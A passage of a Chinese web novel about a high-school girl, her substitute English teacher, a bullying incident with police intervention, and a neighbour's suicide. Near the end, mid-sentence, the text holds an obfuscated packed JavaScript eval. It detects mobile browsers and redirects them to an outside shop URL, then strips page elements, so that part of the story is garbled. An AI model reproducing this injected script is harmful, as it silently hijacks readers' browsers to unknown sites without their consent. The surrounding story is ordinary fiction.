我不想回答这个问题，我转过头，看着窗外，昏黄的路灯飞快的倒退，现在的唐盛夏不是长椅上那个颓废的堕天使，也不是课堂上妙语连珠的和蔼老师，而是一副“我什么都知道”的欠揍笑容。 “你不说？好，我说。应该不是你父母跟他有私人关系吧！”他用的是肯定句。 我下意识的握紧了手，指甲深深陷入了掌心的肉里。 “范雅珍说你翘课，但是这位刘老师并不责罚你，如果你父母跟他有私人关系，他不会这么不负责任的，对不对？”他语气平淡，就像之前在饭桌上对范雅珍说话的口气一样，莫名的充满了自信，“反过来，如果他和你父母有私人关系，你还敢这么肆无忌惮的翘课？所以，你根本不是范雅珍和袁圆说的那种‘关系户’。”他继续说，“但是，你的确是‘关系户’，你和这位刘老师有私人关系，但绝对不是简单的私人关系。他纵容你翘课，并且不闻不问，甚至除了你的同班同学连班主任都不知道，一定是他不敢声张，想必是你知道了什么他的秘密。我看了你的档案，英语从初中开始就不好，但是在高一第一学期的一段时间里，随堂测试的分数有所起色，甚至期中期末两次大考也有所提升，应该是得到了辅导，但是随后就又开始走下坡路，所以辅导应该是在那会儿停止的。” 我的心开始慌了…… “但这个学期开始，你只翘英语课，这位刘老师不但不追究你，还给你不错的课堂成绩，应该就是在那个寒假，你知道了他的秘密，并且要挟他，对不对？”他把车停在了路边，离我家的小区已经不远了。 “妍妍，我奉劝你，不管你知道这位刘老师的什么秘密，你都不该选择这种方式，换作是我，在被你知道了什么不该知道的秘密，并受到了你的要挟，看到你这样堕落，我开心都来不及，你的做法，太愚蠢了！”唐盛夏看着我，郑重的说。 我摇摇头，他高估我了…… “笨蛋，说都说不通！”他重新发动了车子，看上去有点生气了，“你家怎么走？” “前面小区，右拐，七号楼。” “唉……”他叹了口气。 其实，我明白他说的话都是为我好，包括今天他为我解围，我都很感动，但是，有些事情并不是几句话就能解决的。 “唐老师，谢谢你。”下车前，我真诚的向他道谢，“我会好好学英语的。再见！” “谢妍，你能试着相信我吗？” 那个时候，我就是因为这句话，被感动了。但是，还是不敢放下心中的顾虑，因为那个时候的我还没自信配得到他的垂青…… 4. 第四章 转机 唐盛夏说过，公平的决策权是掌握在强者手中，反守为攻才是脱离弱者行列的唯一途径。 当时，我不以为然。 2004年5月9日岚城日报 本报讯记者李景峰痴情少女与男友分手，精神萎靡，趁朋友不在，纵身从7楼跳下，当场死亡。 昨日下午三点，记者接到线索立即赶往岚城西城区的某小区，当记者到达时，尸体已被抬走。经过记者走访附近的居民了解到了死者的情况：自杀的女青年姓白，岚城本地人士，去年从岚城交通大学中文系毕业，和同学一起合租在此，当时正值五一黄金周，同住的女同学回外地老家探亲，所以未能及时劝阻。记者经过多方周折，联系到了与死者同住的女同学，该女同学告诉记者，自杀的白姓女青年前段时间与其男友分手，精神一直比较恍惚，这很可能是引发她自杀的直接原因。这一原因后来在警方找到的遗书内容相吻合。 …… “啧啧，看看现在的年轻人，跟当年琼瑶的小说里写的似的，没了爱情都活不下去。”老妈拿着报纸发表着评论。 老妈如此关注这则报道是因为其中所说的“西城区某小区”就是我家的小区，老妈说，她甚至还和死者说过话。 事情发生的时候正是中午休息的时间，我们全家坐在电视机前看着电视台的节目。静谧的午后被一声闷响打破，当时还以为谁家的东西从楼上掉了下来，没过多久就听见院子里有人喊：“死人啦！有人跳楼了！！！！” 岚城这个小地方，几年都不会发生一些轰动的事情，整个小区的人就跟赶集一样，在那声呼喊后聚集了整个院子。人头攒动，议论声比比皆是。我站在阳台上只敢远远地眺望，本以为跳楼自杀的人会像小说中描写的那样“在洁白的水泥地上绽放出一朵如血的玫瑰。”可是，什么都没有，甚至看不出尸体有任何变型的地方。远远地看上去，她，似乎只是穿着睡衣，披头散发的趴在地上睡着了…… 没过多久，呼啸而来的白色的急救车，黑白相间的警车，尸体被盖上了白布，然后，是哭天喊地的人声…… 最后的最后，化成了今天我手中的《岚城日报》里的一篇报道。 这是我第一次见到尸体，本以为灵魂的离去会是很美，可是，真正看到了，虽然谈不上多么惨烈，但是，只能用“平静”来描述。这么消声无息，跟文字与视听语言描述的相差甚远，毫无美意可言。甚至，尸体看上去有那么一点点，恶心…… “人的死去，从来都不是美好的。”唐盛夏在听完了我的看法以后说：“而且她做了那么草率的决定，放弃了自己的生命，难道没想过其他人的感受吗？” “报纸上写的是她男朋友跟她分手，所以才自杀的。但是，我觉得人生不仅仅只有爱情，还有很多比这更重要的事情。” “所以她的冲动给活着的人留下莫大的自责。” “活着的人没必要自责。”我说。 “为什么？”唐盛夏惊异的看着我。 “因为这是她自己的选择，她选择了死亡结束一切，无论站在谁的角度来看都是一个错误的决定，既然这样，活着的人为什么还要为她的错误买单呢？” 唐盛夏若有所思的看着我，然后笑了。 “难道不对吗？”我问。 唐盛夏意味深长的看着我，然后露出一个没那么欠揍的笑容，说：“对！活着的人还是要活下去，不能因为一个人的逝去停下脚步，前方的路还长着呢！”唐盛夏用右手在我头上使劲的摸了摸，弄乱了我的头发。 那天之后，唐盛夏就消失了。 英语课也由隔壁班的老师暂时代替。 那个时候的我还未意识到自己渐渐的对唐盛夏开始产生依赖感。 消失了一周后，同学们也开始议论纷纷，甚至有些人会来问我唐盛夏的行踪，我怎么可能知道呢？真是高估了我和他的亲密度了。 我从未想过，也正是因为唐盛夏的消失，让袁圆和范雅珍有了可乘之机…… 周五下午，是我每周回家的时间，我依旧是背着沉重的书包在50路公交车站等车，紫色的50路公交车总是慢悠悠的晃着过来，班次也不是很多，MP3里大大的音乐声消磨着时间。岚城渐渐进入初夏的日子，空气里夹杂着烦躁，这里从来也没有好听的虫鸣和鸟鸣，只有机械声和人声。天空依旧是浅灰色，几乎看不到太阳的轮廓，只是一个明晃晃的发光体。 书包的带子突然一紧，狠狠的把我拉向后方，打了一个趔趄，差点一屁股坐在地上。 “同学，借点钱花花呗！”一个浅褐色的头出现在我眼前，还没来得及看清楚长相，就被另一个人粗暴的拉了过去。 “哈哈~有人跟我们说，你家很有钱呢！哥儿几个今天没钱玩，借点钱花花呗！”一个红头发的矮个子说。 还有两个一胖一高的男生围过来，附和他们大声笑着。 完蛋了，是遇见打劫的了，可是我身上所有的钱加起来连5块钱都不到啊。怎么办？ 4个人！肯定逃不掉，只能把MP3和“小灵通”都给他们了。我的大脑还在盘算怎样能让自己不受到伤害，可是…… “嘿！上次你给我扣的饮料，不记得我了？还真以为我们是打劫的啊？”浅褐色头发的男生说。 我抬起头，才看到他的脸。捧着MP3的手停在了半空中。完蛋了！看样子不仅仅只是劫钱这么简单了，还得挨顿好打了…… “你胆子不小啊，韩哥的裤子也敢扣饮料！”红头发的小个子男生继续说着，推了我一把，平衡没掌握好，坐在了地上。 如果没去范雅珍的生日聚会就好了，以前也只是得罪了她和袁圆两个人，现在都发展到不良少年这里了……但是后悔也无济于事，只能挨着了。 “瞪什么瞪！”胖些的男生一脚踹在我肚子上，好疼啊…… “我是不打女人的，”韩槊说，“那天我只是去帮范雅珍一个忙而已，可是你竟然弄脏了我的裤子，不过这也都好说，本大爷就是受人钱财与人消灾，范雅珍不愿意放过你，所以我们也就只能浪费宝贵的时间来堵你了，顺便从你这里刮点钱，把我那条裤子给洗了，不算过分吧！还是那话，我不打女人，所以我不动手，但是他们就不一样了。” 坐在地上，肚子被踹了一脚生疼，我几乎看不清楚逆着光的韩槊，只能看见他耳朵上那个闪亮亮的十字架，一晃一晃的。唐盛夏的猜测全部应验，范雅珍果然是请了一桌子人来欺负我的。 呵呵，还真是像他说的那样，我够值钱了！ “哎~仔细看看她还长的挺好看的，范姐干嘛跟她过不去啊？”踹我的胖子问韩槊。 “女人嘛，芝麻大点的事也记恨着，快打，打完走人。”韩槊不耐烦的说。 我绝望的闭上眼睛，双手护住头，等着他们的拳打脚踢，可是，什么都没有落下来，只是一只有力的手把我从地上拉了起来。 会是唐盛夏吗？ “爷爷的，老子在岚城五中门口守了四天了，终于把你们这帮小兔崽子逮住了，看你们几个头发染的！”一口浓重的岚城口音在我耳旁响起，我睁开眼睛，不是唐盛夏，是警察叔叔…… “年纪轻轻的干点啥不好，跑学校门口打劫。”警察叔叔继续说。 我才看到，四个不良少年都被警察叔叔扭起来了。 “去，叫他们学校的老师，说都逮住了。”拉着我的警察叔叔继续说，“现在的学生也是太有钱了！看看，还带MP3！这不是找着被劫吗？” “刘队，这就算给上面交差了吧！”扭着红头发的，看起来比较年轻的警察说。 “妈的，区区几个小混混也找我，又没死人。”拉着我的警察刘姓警察骂道。 “还不是他们学校跟上面的领导熟，打照顾关照过的嘛！”另外一个警察说。 “妈的，竟给老子找事！”刘警官一巴掌狠狠的打在韩槊头上，把他对上级的不满发泄在了他身上。 韩槊狠狠的盯着刘警官。 “瞪！瞪！倔的啊你！”刘警官上去踹了韩槊两脚。“妈的，堂堂一男人抢劫人家小姑娘，出息啊！还瞪！”刘警官松开我，上去狠狠的扇了韩槊一耳光，左耳朵上的十字架都被打飞在地上，韩槊的脸立刻就肿了，嘴角溢出鲜血，但是眼神还是倔强的盯着刘警官。 “嘿！来劲儿啊！打不死你。”刘警官吐掉还剩半截的香烟，卷起袖子，要动真格了，剩下的三个警察因为手里都扭着人，腾不出手，只能嘴上劝阻着，只有扭着韩槊的警察使劲把韩槊往后拽，躲着刘警官，但是韩槊好像故意较劲似的，就是不躲，依旧挑衅的看着刘警官。 刘警官似乎被激怒了，立刻拳打脚踢起来。 “别打了！”我看不下去了，一个警察扭着韩槊的说，让他动弹不了，刘警官等于在打一个没有反抗能力的人，不公平！“别打了！快住手。”我冲过去试图拉开刘警官。 此时，教导处主任赶了过来，刘警官才罢休。他整理整理自己的衣服，喘着粗气对教导处主任说：“行了，蹲了四天了，人也逮住了，我们就回了，人我们带走，拘个几天，教训教训就放了，回头您也跟我们上头说一下，一个不落，都逮住了。” 教导处主任毕竟也是一个人到中年的老太太了，看到韩槊被打得鼻青脸肿当时就傻了，惊恐的看着韩槊，不住的点头。 “行，带走！”刘警官严厉的对其他警察说。 除了韩槊被打得有点站不稳，低着头。其他三个人惊恐的看着刘警官，脸都吓青了，怕是真进了警察局，就无法站着出来了。 “没！我们认识，我们只是跟她开玩笑的！”红头发的矮个子大声的说。“我们之前就认识，今天知道她回家，过来约她出去玩的，我们认识！真的！” “是啊是啊！真认识。”另外两个也赶紧说。 “呸！认识，拿脚踹人家叫认识啊！”刘警官骂道。 “我们那是开玩笑的！我们真认识！”红头发已经变成哭腔了。 “哦？认识？你说她叫啥名字？”刘警 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“是啊，咱们学校已经有好多同学都被抢劫了，学校这次和警察联合起来再学校埋伏了四天了，就是为了抓住他们，你可想清楚了，这关系到咱们学校的安全啊！”教导处主任耐着性子继续说。“这位同学，你要明白，你身边很多同学都被他们劫过，学校里也是人心惶惶，如果你今天因为担心日后他们报复你，尽管放心，学校会对所有学生的安全负责的。” “我们真的认识！”我努力让自己的眼神看起来笃定些，迎上了刘警官的眼睛。 “你这孩子怎么不听话呢！”教导处主任的脸都涨红了，声音也变得尖锐刺耳起来，“你哪个班的！班主任是谁？怎么这么不知好歹！” 我被她突然提高的声音吓住了，一时不知道怎么回答。 “认识？那你知道他们叫什么吗？”刘警不耐烦的看着我问。 “他叫韩槊。”我指着被打得东倒西歪的韩槊说。 刘警官狐疑的上前翻他的口袋，最后从他的钱包里找到了身份证，核实了姓名才罢休。 “你们在哪认识的？”刘警官追问。 “上个礼拜我们班有个女生过生日，在生日聚会上认识的。”这是实话实说，不算撒谎。 “那个女生叫什么？” “范雅珍，当时我们班去了很多同学，您可以问他们，当时我们就坐在一张桌子上，就是那天认识的。他说的没错，今天他们是来找我出去玩的，只是一个玩笑，让警察叔叔误会了，真不好意思。”我说，狂跳的心脏也慢慢平静下来，因为后面的话不算是撒谎，所以也说的很顺。 目光划过韩槊的时候，我看到了他惊讶的眼神，我冲他笑笑，说：“韩槊哥哥从背后拍了我一下，我被吓了一跳，所以一屁股坐在了地上。他们正准备过来扶我，就被警察叔叔们扭起来了。这真的只是一个误会！” “对啊！我都说了我们认识的。”红头发的人趁机说到：“还有没有王法了，找朋友玩，开个玩笑就要被抓起来。” “闭嘴！”刘警官狠狠地说，红头发立刻被吓得闭上了嘴，“你确定你们认识？” 我笃定的点点头。“对了！那天唐盛夏老师也去了，不相信的话您可以给他打电话。” 教导处主任立刻掏出手机拨通了电话。 “喂？唐局长家吗？我是岚城五中的魏红，实在不好意思打扰您了，能麻烦唐盛夏接个电话吗？我们这里有事情请他核实一下，哎，好的，麻烦您了。”教导处主任的口气变得这么毕恭毕敬，还是第一次听到，唐局长？唐盛夏？什么关系？ 她看见我们都看着她，有意识的转了转身，挡住我们的视线，然后小声的说起话。 我努力想听听，可是听不清楚，我祈祷着唐盛夏千万别说出什么岔子。回过头，看见韩槊他们都焦急的看着教导处主任，韩槊看见我在看他，眼中似乎有那么一点谢意，但是额前的刘海太长了，几乎遮挡住了他的眼睛。 良久，教导处主任挂了电话，转过身来，顿时换了一副面孔。 “哎呀，真是麻烦几位警察了，问过了，的确唐老师那天也去了，刘警官，他们的确认识，她说的都没错。真不好意思，又让你们折腾一天。 “算你们几个走狗屎运！”刘警官示意其他警察放开了那几个混混，然后走近我，小声的在我耳边说：“我不知道你撒谎的目的是什么，但是我坚信今天没抓错人，我可以清楚的告诉你，你绝对会对今天的所作所为付出代价！”然后他大声问：“现在你有没有话要跟我说？” “今天因为和朋友们的玩笑让您误会，又耽误了您的工作真的很抱歉，所以您不用担心我们对您殴打我朋友的事情提出控告的，毕竟这是一场因我们而起的误会。”我说。 刘警官一愣，然后眯着他如同警犬般的眼睛仔细打量了我一遍，最后，留下了一个意味深长的眼神带着其他警察离开了。 “哎~刘警官，那关于抢劫的事情，您是不是还得蹲几天啊？”教导处主任追上去问。 “还蹲什么啊！今天的事情肯定打草惊蛇了，最近他们是不会来你们学校了。”刘警官没好气的说。 5. 第五章 弟弟 唐盛夏说过：做人不能太坦白，知道了你底细的人，就是知道了你底线的人，也就是你该离开的时候。 当时，我不以为然。 消失了一周的唐盛夏再出现的时候，额头上赫然缠着纱布，左手捧着书本讲课的姿势也极为不自然，因为他是左撇子，通常都是用左手在黑板上写字的，但是这次却用右手，虽然他也能流利的写字，但是，总觉得极为不协调。不仅仅是我，全班同学似乎都对他的消失以及“挂彩”感到好奇，纷纷议论着。 他消失的这一周不知道发生了什么事情，如果是受伤应该多休息一段时间才对，因为他额头上的绷带还往外渗着血，说明伤口没有愈合。那他为什么不多休息休息呢？ 尽管他身上的伤都是不容忽视的，但是丝毫没有影响他上课的质量，依旧是影响着班里每个人的情绪。 一节课就在我的胡思乱想里过去了，两节课后的课间休息时，我和李韵拿着化学书向化学实验室走去，等到下学期高二的时候我就能告别那些该死的溶液了。 在走廊的拐角遇见了唐盛夏，他拿着英语书向别的教室走，见到我时，把我的英语习题本给我。 “谢妍，错的太多了！改完重新拿给我看。”说完他就快步走开。 我纳闷的翻开习题本，看见里面夹了一张纸，吓了一跳，赶紧合上。 “唐老师还真是严格啊！”李韵在旁边感慨着，还好没被她发现。 “呵呵，这就是跟老师太熟的下场……”我不自然的笑了笑。“那个……李韵，我肚子疼，去下厕所，你先去教室啊，我马上就过去。” “要我帮你跟老师请假吗？”李韵担心的问。 “没事没事，马上就过去。”我向厕所跑去。 关上厕所门，我坐在马桶盖上，翻开习题本，看唐盛夏夹的纸条上写了什么。 “中午我在落河边等你。” 刚好问问他头上的伤是怎么回事。 中午，我草草在食堂吃了几口饭，就急忙赶到落河边，刚到落河边，就看到唐盛夏已经在长椅上等着我了，我加快脚步跑了过去。 “你的头……”我刚说出三个字，就被他打断了。 “星期五到底发生什么事情了？”他严厉的问。 “呃……那个……就是”被他突然一问，没反应过来，大脑才开始组织语言，“上次范雅珍生日一起吃饭坐在我旁边的浅褐色头发的男生，还记得吧。范雅珍让他们揍我……” 然后我就把事情的经过告诉了他。 “说吧，目的呢？” “嘿嘿~果然瞒不了你。当时决定撒谎，只是因为警察叔叔说了他们只能关进去教训一下就会放出来，如果这样的话，他们出来一定会找我麻烦的，所以就撒了一个谎。但是你也知道啦！没什么说服力，只好把你给带出来他们才会相信，不过真的很感谢你当时没说破，嘿嘿！不过就算你说破了也无所谓，人情应该也算是卖给他们了。后来回家才想到了一些计划。” “继续。” “警察走了以后，和他们重新的认识了一下，浅褐色头发的人叫韩槊，另外三个都是他朋友，范雅珍给了他们钱，所以来打我的。那天你说的全部都中了，范雅珍请的那一桌子都是来整我的。你说的没错，我果然很值钱哈！后来他们都感激的一塌糊涂，说以后有事尽管找他们~” “你说的计划，是什么？” “这次我算是给韩槊卖了人情吧！那如果我让他去打袁圆岂不是很戏剧化？范雅珍那个白痴一定是受袁圆教唆的，那个小肚鸡肠的女人……”我得意的说。 唐盛夏嘴角上扬，是我初次见他时的那种欠揍的嘲笑，心里有点不爽。 “袁圆是不是就是那个演讲被你替换掉的人？”唐盛夏问。 “不只这件事，新生入学演讲本来也是她，谁知道会换成我……反正诸如此类好多事，那个事情以后，她就开始落井下石了……”我嘟哝着。 “哪个事情？” “哎呀，你别管了，反正我要袁圆后悔。” “太快了。”他说，“你这么快就用韩槊，会把人用废的，和范雅珍她们没什么区别。” “如果我让他去揍袁圆，他不会不去的！”我争辩。 “是，他会去。”唐盛夏看着我，耐心的讲，“你有没有想过，如果你这么快的要求他去帮你做事，在他的角度来看，做完这件事，也就把你的人情还清了，以后呢？他帮范雅珍打你，是因为范雅珍的钱，你有那闲钱吗？妍妍，金钱维系的情感是最薄弱的，但是情感维系的情感是最牢固的，你一次就把他用废了，长久来看，得不偿失。” 我点点头，他说的的确有理。“那你觉得应该怎么做？” “什么都不要做，等着。”唐盛夏看着我说。 “哦……”我继续点点头，虽然我不太明白他的用意，但是多等等也无妨。 唐盛夏伸出手，摸摸我的头，“这次做的很好，你考虑也很周全，继续保持。”唐盛夏下意识的皱了皱眉头，似乎他抬手摸我的头，带动了他哪里的伤。 “该你了，解释一下你怎么了，这些伤是怎么造成的？” “跟人打架。” “哈？你还会打架？”我吃惊的问。他这么瘦，面色又苍白，感觉连缚鸡之力都没有。 “呵呵，不会。所以是挨打嘛。” “笨蛋！这个世界原来还有不会打架的男生，不可思议！”我继续嘲笑着。 “不可思议的事情多着呢！”唐盛夏闭上了眼睛，皱着眉头抚摸额头上的绷带。“哦，对了，给你个东西。” 他把身边的一个盒子递给我，我纳闷的打开盒子，里面竟然是一个白色的翻盖手机。 “这个……太贵重了吧……”我说，“我拿回去了没法跟父母说啊。” 他拿过手机，打开手机后盖，把电话卡插进去，“那就别跟你父母说。” “彩屏的！很贵吧！”我感叹着。 “一个朋友从上海带的，太女孩子气了，所以拿给你用。” “我不要。” “给你你就拿着，省的要联系你还那么费事。” “我真不要，我可没钱交电话费，我一周穷的就六十块，吃饭都不够呢……” “这个不用你操心，给你电话是让你以防万一的，如果再遇见上周五那种情况，直接报警。” “再遇见，来不及报警手机都会被抢走。”我嘟哝着。 “拿着！” 结果最后还是收下了这份贵重的礼物。 “回吧！下午好好上课！”唐盛夏温柔的看着我，嘴角上扬，对我伸出了右手。 “嗯！”我开心的把手放在他的手心。 我们是从什么时候开始走的这么近了呢？是在第一次他为我报不平？是在那次众人嘲笑时给我的台阶？是在一个人 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唐盛夏握紧了我的手，无视他，继续带着我向学校走去。 “哥，你难道没有愧疚感吗？你想报复冲着我来啊！你何必伤害无辜的人？”他的声音带着哭腔。“你知道白依她……” “刘斌砚！”唐盛夏背对着他，不耐烦的说：“做事差不多点就行了！别他妈的没完没了！我爱怎么做是我的事，你看不爽就滚，少在我面前指手画脚，有本事守住自己的人！” 扔下这句话，拉着我往学校走去。 “唐盛夏！你早晚会遭报应的！！！！”那个叫刘斌砚的人在后面大吼着。 我小心翼翼的看着唐盛夏，他依旧是面无表情，但是散发出来的气场却压得我连话都不敢说，他握着我的手，狠狠的，生疼。 一路上他都没有说话，只是拉着我快步向学校走去，我甚至有点跟不上他的步伐，快到学校门口的时候，他松开手。 果然，任何时候他都能保持理性。 “快回教室吧！”说出这句话的时候，他已经平静下来了。 我没有问他刘斌砚是谁，所说的白依又是谁，他恐怖的眼神有着说不出的压迫感，压迫的我什么都不敢问，只是乖乖的向教学楼跑去…… “谢妍，你知道唐老师为什么受伤吗？”晚上宿舍的“卧谈会”上曹莉莉问。 “不知道。”今天都没来得及问…… “谢妍，你是不是再跟唐老师谈恋爱啊？”张雅问。 “……”开什么玩笑！ “谢妍，咱们学校的同学有看见你和唐老师出现在落河边。”包小北犹豫的说。 “开什么玩笑！”我有点心虚了。 “真的，咱们学校的同学说，你和唐老师两个人单独坐在落河边，呆了好久呢。”包小北说。 “什么时候？”我问，努力让语气变得笃定。 “我们也只是听到谣传。”包小北解释说，“不过唐老师从在咱们学校开始教课的时候，就很引人注目。你知道的，他很帅。听说咱们学校还有女生悄悄尾随他回家看他住哪里。” 我的心开始疯狂的乱跳，腿隐隐传来麻木的感觉…… “总之，这个谣传也有一段时间了，并不是空穴来风。”包小北说。 “我……我睡觉了。”我用被子蒙住头，手里紧紧的握着唐盛夏送我的手机。 6. 第六章 谣传 唐盛夏说过，最完美的舞蹈就是带着枷锁舞动，游离在自由与束缚之间，才是真正的高手。 当时，我不以为然。 自从听了包小北说的谣传以后，我再也没有去过落河边。虽然我跟唐盛夏并不是那种关系，但是，有些事情的确不能逾越。 “嘿！谢妍，你挺了不起的。连老师都能勾搭上。”袁圆在下课后大声的说。 “你什么意思！”李韵再次为我爆发，似乎她对上次生日聚会的事情一直挺耿耿于怀的。 “李韵，就你个白痴什么都不知道。现在全年级的人都知道谢妍成功的勾搭上了唐老师，有人看到他们两个人手牵手走在街上呢！”袁圆阴阳怪气的说。 星期一的时候被看到了！ “妍妍，这是真的吗？”李韵试探性的问。 “呵呵，当然是假的。”我说。 “你少装蒜了，星期一下午快上课的时候有同学看到你和唐老师手拉手回的学校，到校门口才松手的。”袁圆说。 我看见前排的范雅珍回头看着我。 “那你想不想知道我和唐老师去哪儿了？”我故弄玄虚的说。 “谁知道你们去干什么苟且之事了。”袁圆翻着白眼，转过身去。 “唐老师和我……”我爬在袁圆的耳边说，“去警察局了。” 袁圆打了一个寒战。 此时上课铃正好响了，我从书包里拿出下节课的书，便不再说话了，剩下的事情她自己想去吧…… 星期三的下午，我依旧逃了兴趣小组的课，跑到落河边坐着。我看着手机，犹豫着要不要给他发短信，这个新手机里只有唐盛夏一个人的电话，可是到现在为止，我一次都没有联系过他，包小北和袁圆的话不得不令我在意，可是…… “手机这么翻开合上的会被弄坏的。”韩槊出现在我面前。 “是你啊，怎么来这边了？找范雅珍？”我问。 “不是，是来找你的。”韩槊坐到我旁边，“来跟你道谢。” “啊！那个事情啊，没事没事。”我看着手机，考虑要不要给唐盛夏发个短信。 “你每周三都在这里吗？” “嗯，基本上吧。哎？你不上学吗？” “我上的中专，我们学校管得不严。” “哦。” “把你的电话号码给我吧！” “我不知道电话号码……”唐盛夏没告诉过我，我也没想过要跟谁交换电话…… 韩槊从我手中拿走手机，拨了一串数字，我就听见他的手机响了。 “这是我的电话号码。”他输入了他的名字，“哎？你的手机里只有这一个人的电话？” 我一把从他手中夺过我的手机，揣进口袋里。 “你很喜欢《哈利波特》啊？我连电影都没看过。”韩槊看见我腿上的书，没话找话的说着。 我看着他讲那些他自以为很有趣的事情，表情十分可爱，第一次在饭桌旁时，看见的左耳上的十字架不见了。 “你的十字架呢？”我打断了他的话，然后撩起他浅褐色的头发，看他的左耳。耳轮上有一个大大的豁口，血已经凝结干了，呈深紫色，可是伤口周围鼓鼓的，我轻轻的触摸了一下，他下意识的一躲，“是那个警察打的吗？疼吗？” 韩槊看着我，不说话。 “如果不好好处理，会感染的。”我说。 他伸出手握住我撩起他头发的右手。我从他手中抽出手，一把拉住他。 “跟我走。” 韩槊竟然什么都没有问，任凭我左右。 我拉着他，到学校附近的那个诊所里。 “他的耳朵破了。”我对医生说。 医生拿来各种药品为他消毒，医生说，因为伤到了耳鼓，所以伤口里长脓了，得把脓挤出来。 “你们这些小年轻，为了赶时髦，耳骨也敢穿透。这是带耳环弄的吧！”医生说。 “哈哈！”我笑着说，“还是个十字架的耳环呢。” “宗教信仰？”医生问。 “不是。”韩槊看着我，认真的说：“是我奶奶的遗物。” “……” 我和医生都不说话了。 医生消完毒，开始用针挑破脓疱。韩槊完全不顾及帅哥形象，疼得吱哇乱叫，我在一旁笑得花枝乱颤。后来，医生还没处理完，我就回学校了，因为他的眼睛看的我很不自在。 那天之后，韩槊经常半夜三更给我打电话，可是唐盛夏连一个短信都没给我发过。 几次电话聊天后，知道了韩槊的过去。他爸爸和妈妈在他没出生的时候就离婚，他跟他妈妈为了留住他爸爸，坚持生下了他，可是他爸爸还是走了，所以一直以来他是由他奶奶带大的。他妈妈常年在南方做生意，所以很少回来管他。那个十字架是在他十二岁时去世的奶奶留给他的。他说，他的奶奶是一个虔诚的天主教徒。他还说，他的妈妈几乎不管他，除了每月按时给他寄生活费什么也不闻不问。他说，甚至怀疑他妈妈在南方已经另外组建家庭了…… 事无巨细，他却乐此不疲的讲述这些。我是一个笨蛋，所以我讨厌和跟我一样笨的人交往。我始终不清楚这个家伙到底为什么跟我说那些生活琐碎。姑且算作是对我的信任，但是，我可没那么容易相信人。 可是就在离期末考试，告别我的高一生活的时候，该来的，还是来了…… 星期四晚上的自习，唐盛夏依旧看我们班，为同学们解答难题。自习结束时，他却宣告，因为一些事情这周他将结束代课生涯。 我木讷的坐在座位上看着唐盛夏，这一天，终于到了吗？终于在我开始相信他的时候他要离开了？神，你这是在耍我吗？ 说完了一些冠冕堂皇的话以后，唐盛夏离开了教室，期间他甚至连看都没看我一眼。这就是他给了我手机以后的打算吗？为什么！ 回过意识的时候，是李韵递给我餐巾纸，我才意识到自己哭了，但是因为班里哭成一片，也没有人对于我的哭特别在意。袁圆不耐烦的把一张纸拍在我的桌子上，不知道是谁发起的联名信，要求学校留下唐盛夏，很多人签了名字。我冲出教室，打算找唐盛夏问个清楚，这就是他给了我手机以后不联系我的原因吗？当初在他的车上，恳求我相信他的人，就在我相信他以后要抽身离去吗！骗子！大骗子！ 在我要推门冲进他的办公室时，裤兜里的手机震动了，阻止了我的疯狂行动。 翻开手机，屏幕上赫然写着唐盛夏的名字，电话接通了…… “你冷静点！”传来了唐盛夏的有点焦急的声音。 “现在乖乖回教室，明天好好上课，星期五中午等你放学以后，我再告诉你发生了什么事。” “为什么？”大脑里飞过各种想问他的问题，但是开口时却只能说出这三个字。 “妍妍，听话，现在去厕所里洗手，然后回教室。”唐盛夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096341|195622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音变得温柔了，“星期五，我一定给你一个满意的解释，好吗？快回去！” 唐盛夏要离开，姓刘的家伙就要回来了…… 大脑一片空白，我也只能按照唐盛夏说的做。 “你干嘛去啦？跑的那么快？”回到座位上时，李韵问。 “啊，我去上厕所了，突然肚子疼。”撒谎，撒谎！你总是教我把事情做得这么天衣无缝！ 晚上，韩槊依旧打来了电话，可是我不想接，直接关了手机。 挨到星期五，我一直恍恍惚惚…… 唐盛夏在讲台上兢兢业业的讲着课，班里的同学时不时打断他，要求他留下来，他始终笑着摇头。 中午打扫卫生擦窗台的时候，看见唐盛夏和刘老师并肩走在校园里。是课程交接吗？他为何如此洒脱？ 熬到了下午，当我快步跑到公交车站时，唐盛夏的车早已等在那里了。 他开着车，向岚城西区方向行驶。 “为什么？”我问。 他把车停到路边，开始回答我的问题。 “我本来就是代课老师，现在出车祸的刘老师伤已经好了，所以我代课的时间也结束了。”唐盛夏叹了一口气，继续说，“也怪我做事考虑的不够周到吧！自从范雅珍的生日以后，学校就开始有传言了，说我们‘师生恋’。校长找我询问过情况，一直都是传言我都能搪塞过去。但是不知道是谁竟然拍了照片，放在校长信箱。我无所谓，这里混不下去可以离开，但是不能毁了你，明白吗？” “上次韩槊劫我的时候，教导处主任给你打电话，‘唐局长’是谁？她那么毕恭毕敬我第一次见到，难道你压不住吗？”我争辩。 唐盛夏一愣，然后继续说；“那是我爷爷，不瞒你，他以前是教育局的局长。妍妍，我本来在北京工作，这次是回来处理一些事情的，我爷爷老觉得我在外面鬼魂很不爽，所以想给我找点事情做，正好你们班的老师处车祸了，就把我安插在你们学校，只是过来帮忙而已。原本就没打算长期干，离开也是早晚的事情。而且学校的确没打算处理我，要处理的是你。” 我的背后一凉。 “妍妍，不能因为我毁了你，明白吗？”唐盛夏温柔的说，“所以这次我离开比较好，这一周我都在争取这个事情。你还小，未来不能因为我留下污点，我说过你可以相信我，所以听我的话，好好上课，就当什么都没发生。我跟学校解释说，你是我朋友的妹妹，所以对你特别照顾，没想到影响这么不好，所以就以要回北京继续工作为由辞退了这个工作。” “你真的要回北京了？”我问。 “傻瓜，”唐盛夏摸着我的头，“当然要回去了，我不可能一直都在岚城。我是请了年假回来的，可能要待到8月份回去。” “那我就再也见不到你了吗？” “不会，而且我现在非常担心你的成绩，还有半个月你们就放暑假了，我打算好好利用这个假期给你补补课，不然到以后你会越来越跟不上的。” “真的？”我高兴的问，太好了，那我们能常常见面了！ “真的。所以你做好心理准备，会很痛苦的。”唐盛夏笑着说，“妍妍，你不能因为别人毁了自己的未来，学习是通往幸福最简单的捷径，所以你要为自己学习。明白吗？” 